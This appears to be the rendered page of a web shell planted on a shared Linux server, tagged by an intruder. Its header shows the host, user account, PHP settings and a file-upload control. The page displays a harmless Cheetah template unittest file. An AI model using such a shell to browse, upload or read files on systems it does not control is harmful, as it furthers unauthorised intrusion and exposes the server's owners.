Heray-Was-Here
Server : Apache
System : Linux dal-shared-66.hostwindsdns.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : krnuyqrm ( 1183)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/Cheetah/Tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/Cheetah/Tests/Analyzer.py
import unittest

from Cheetah import DirectiveAnalyzer


class AnalyzerTests(unittest.TestCase):
    def test_set(self):
        template = '''
        #set $foo = "bar"
        Hello ${foo}!
        '''
        calls = DirectiveAnalyzer.analyze(template)
        self.assertEqual(1, calls.get('set'))

    def test_compilersettings(self):
        template = '''
#compiler-settings
useNameMapper = False
#end compiler-settings
        '''
        calls = DirectiveAnalyzer.analyze(template)
        self.assertEqual(1, calls.get('compiler-settings'))

Hry